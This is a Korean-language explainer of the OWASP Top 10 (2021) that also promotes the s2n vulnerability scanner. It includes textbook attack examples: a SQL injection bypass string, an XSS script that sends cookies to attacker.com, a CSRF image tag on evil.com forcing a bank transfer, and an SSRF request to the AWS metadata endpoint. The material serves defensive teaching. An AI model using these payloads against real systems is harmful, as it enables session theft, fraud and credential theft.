OWASP Top 10
OWASP(Open Worldwide Application Security Project) 는 웹 애플리케이션 보안을 위한 비영리 재단으로,
약 4년 주기로 실제 침해 사례·CVE 데이터를 바탕으로 가장 위험한 웹 취약점 10가지를 선정합니다.
현재 기준: OWASP Top 10 – 2021
전체 목록
| 순위 | 카테고리 | 핵심 키워드 |
|---|---|---|
| A01 | Broken Access Control | 권한 우회 |
| A02 | Cryptographic Failures | 암호화 결함 |
| A03 | Injection | SQL·XSS·Command Injection |
| A04 | Insecure Design | 설계 결함 |
| A05 | Security Misconfiguration | 보안 설정 오류 |
| A06 | Vulnerable and Outdated Components | 취약한 컴포넌트 |
| A07 | Identification and Authentication Failures | 인증 결함 |
| A08 | Software and Data Integrity Failures | 무결성 결함 / CSRF |
| A09 | Security Logging and Monitoring Failures | 로깅·모니터링 부재 |
| A10 | Server-Side Request Forgery (SSRF) | 서버 측 요청 위조 |
A01 – Broken Access Control (접근 제어 실패)
2021년 가장 빈번하게 발생한 취약점 유형입니다.
- 문제: 사용자가 허용되지 않은 리소스나 기능에 접근할 수 있는 경우
- 예시:
- URL을 직접 수정하여 다른 사용자의 데이터 조회 (
/user/profile?id=1234→?id=9999) - 관리자 페이지를 일반 사용자가 직접 접근
- JWT 토큰 없이 API 호출 성공
- URL을 직접 수정하여 다른 사용자의 데이터 조회 (
- 대응:
- 서버 사이드에서 권한 검증 (클라이언트 검증만으로는 부족)
- 최소 권한 원칙(Least Privilege) 적용
- CORS 정책 최소화
A02 – Cryptographic Failures (암호화 실패)
민감한 데이터가 평문으로 전송·저장되거나 취약한 암호화 알고리즘을 사용하는 경우입니다.
- 문제: 비밀번호·카드번호·개인정보 등의 노출
- 예시:
- HTTP(비암호화) 통신으로 로그인 정보 전송
- MD5·SHA-1 등 구식 해시 알고리즘으로 비밀번호 저장
- 하드코딩된 암호화 키 사용
- 대응:
- HTTPS(TLS 1.2+) 강제 적용
- 비밀번호는 bcrypt·Argon2 등 강력한 해시 알고리즘 사용
- 민감 데이터는 저장 자체를 최소화
A03 – Injection (인젝션)
가장 고전적이고 파급력이 큰 취약점 유형입니다.
사용자 입력값이 검증 없이 인터프리터(SQL·OS·LDAP 등)에 전달될 때 발생합니다.
SQL Injection
-- 정상 쿼리
SELECT * FROM users WHERE id='$id' AND pw='$pw';
-- 공격자 입력: id = ' OR 1=1 --
SELECT * FROM users WHERE id='' OR 1=1 --' AND pw='...';
-- 항상 TRUE → 전체 레코드 반환
XSS (Cross-Site Scripting)
인젝션의 일종으로, 악성 스크립트를 웹페이지에 주입하여 다른 사용자의 브라우저에서 실행시킵니다.
<!-- 게시판 입력란에 삽입 -->
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
관련 문서: SQL Injection · XSS
s2n 연계
오픈소스 취약점 스캐너 s2n 은 A03 카테고리에 해당하는
SQL Injection, XSS 등을 포함해 7종의 주요 공격 유형을 DAST 방식으로 자동 탐지합니다.
PyPi에서 설치 후 CLI로 타겟 URL을 입력하면 런타임 취약점을 점검합니다.- 스캔 결과를
JSON,HTML,CSV로 Export할 수 있어 리포팅 자동화에 활용할 수 있습니다.
자세한 내용: s2n 오픈소스 회고
A04 – Insecure Design (안전하지 않은 설계)
구현 버그가 아닌 설계 단계의 결함에서 비롯되는 취약점입니다. 2021년에 새롭게 추가된 항목입니다.
- 문제: 위협 모델링 없이 설계, 보안 원칙을 설계 단계에서 고려하지 않음
- 예시:
- OTP 없이 대량 계정 생성 가능한 회원가입 흐름
- 비밀번호 재설정 시 보안 질문만으로 인증 처리
- 대응:
- SDL(Security Development Lifecycle) 도입
- 설계 단계에서 Threat Modeling 수행
- 보안 요건을 유저 스토리에 포함
A05 – Security Misconfiguration (보안 설정 오류)
잘못된 기본 설정, 불필요한 기능 활성화, 오류 메시지 노출 등이 해당합니다.
-
예시:
- 기본 계정(
admin/admin) 변경하지 않은 채 운영 - 스택 트레이스·디버그 정보가 사용자에게 노출
- 불필요한 포트·서비스 개방
- S3 버킷 퍼블릭 공개
- 기본 계정(
-
대응:
- 최소한의 기능만 활성화(Hardening)
- 프로덕션에서 디버그 모드 비활성화
- 정기적인 설정 감사
A06 – Vulnerable and Outdated Components (취약하고 오래된 컴포넌트)
사용 중인 라이브러리·프레임워크·OS에 알려진 취약점(CVE)이 존재하는 경우입니다.
- 예시:
- Log4Shell (CVE-2021-44228): Apache Log4j 원격 코드 실행
- 오래된
npm패키지에 포함된 프로토타입 오염(Prototype Pollution)
- 대응:
- 의존성 목록(SBoM) 관리
npm audit,pip-audit,Dependabot등으로 주기적 취약점 스캔- 빠른 패치 적용 정책 수립
A07 – Identification and Authentication Failures (식별 및 인증 실패)
인증·세션 관리에서 발생하는 취약점입니다.
- 예시:
- 약한 비밀번호 허용, Brute Force 방어 없음
- 세션 ID가 URL에 포함됨
- 로그아웃 후 세션이 무효화되지 않음
- MFA 미적용
- 대응:
- 강력한 비밀번호 정책 및 MFA 도입
- 세션은 서버 사이드에서 관리하고 로그아웃 시 즉시 무효화
- HTTPS 환경에서만 쿠키 전송(
Secure속성)
A08 – Software and Data Integrity Failures (소프트웨어 및 데이터 무결성 실패)
CI/CD 파이프라인, 업데이트 메커니즘, 직렬화 과정에서 무결성 검증이 없을 때 발생합니다.
CSRF가 이 항목에 포함됩니다.
CSRF (Cross-Site Request Forgery)
인증된 사용자가 자신도 모르게 공격자가 의도한 요청을 실행하게 되는 공격입니다.
<!-- 공격자 페이지(evil.com)에 숨겨진 코드 -->
<img src="https://bank.com/transfer?to=hacker&amount=1000000">
<!-- 사용자 브라우저가 bank.com의 세션 쿠키를 자동으로 포함하여 요청 전송 -->
- 대응: CSRF 토큰,
SameSite쿠키 속성, Origin 헤더 검증
관련 문서: CSRF
s2n 연계
s2n은 CSRF 취약점 탐지 플러그인을 별도 모듈로 구현하였으며,
CSRF 토큰 부재·예측 가능한 토큰 등의 패턴을 DAST 방식으로 검사합니다.
자세한 내용: s2n 오픈소스 회고
A09 – Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
침해가 발생했음에도 탐지·대응이 늦어지는 근본 원인입니다.
- 문제:
- 로그인 실패, 접근 거부 이벤트가 로깅되지 않음
- 로그가 있어도 모니터링·알림 체계가 없음
- 로그에 민감 정보(비밀번호·카드번호)가 포함됨
- 대응:
- 중요 이벤트(로그인, 권한 변경, 결제 등)는 반드시 로깅
- SIEM 도구로 이상 탐지 자동화
- 로그 무결성 보호 (변조 방지)
A10 – Server-Side Request Forgery (SSRF, 서버 측 요청 위조)
서버가 공격자가 지정한 내부 또는 외부 URL로 요청을 보내도록 유도하는 공격입니다.
- 예시:
# 외부 URL을 받아 이미지를 가져오는 기능 악용
GET /fetch?url=http://169.254.169.254/latest/meta-data/
# AWS EC2 메타데이터 서버 접근 → IAM 자격증명 탈취 가능 - 대응:
- 서버에서 허용된 도메인 화이트리스트만 요청
- 내부 IP 대역(RFC 1918, 링크-로컬) 접근 차단
- 응답을 클라이언트에 그대로 반환하지 않음
s2n과 OWASP Top 10
KT Cloud TECHUP 사이버 보안 과정의 팀 프로젝트로 개발한 s2n 은
OWASP Top 10의 주요 항목 중 DAST(동적 분석)로 탐지 가능한 취약점을 중점적으로 다룹니다.
| OWASP | 취약점 유형 | s2n 지원 |
|---|---|---|
| A03 | SQL Injection | O |
| A03 | XSS | O |
| A08 | CSRF | O |
| A03 | Command Injection 계열 | O (일부) |
pip install s2n후 CLI로 타겟 URL을 입력하면 자동 스캔합니다.- DVWA(Damn Vulnerable Web App) 같은 테스트 환경에서 연습하기 좋습니다.
- 스캔 결과는
JSON·HTML·CSV형식으로 Export가 가능합니다.
자세한 내용: s2n 오픈소스 회고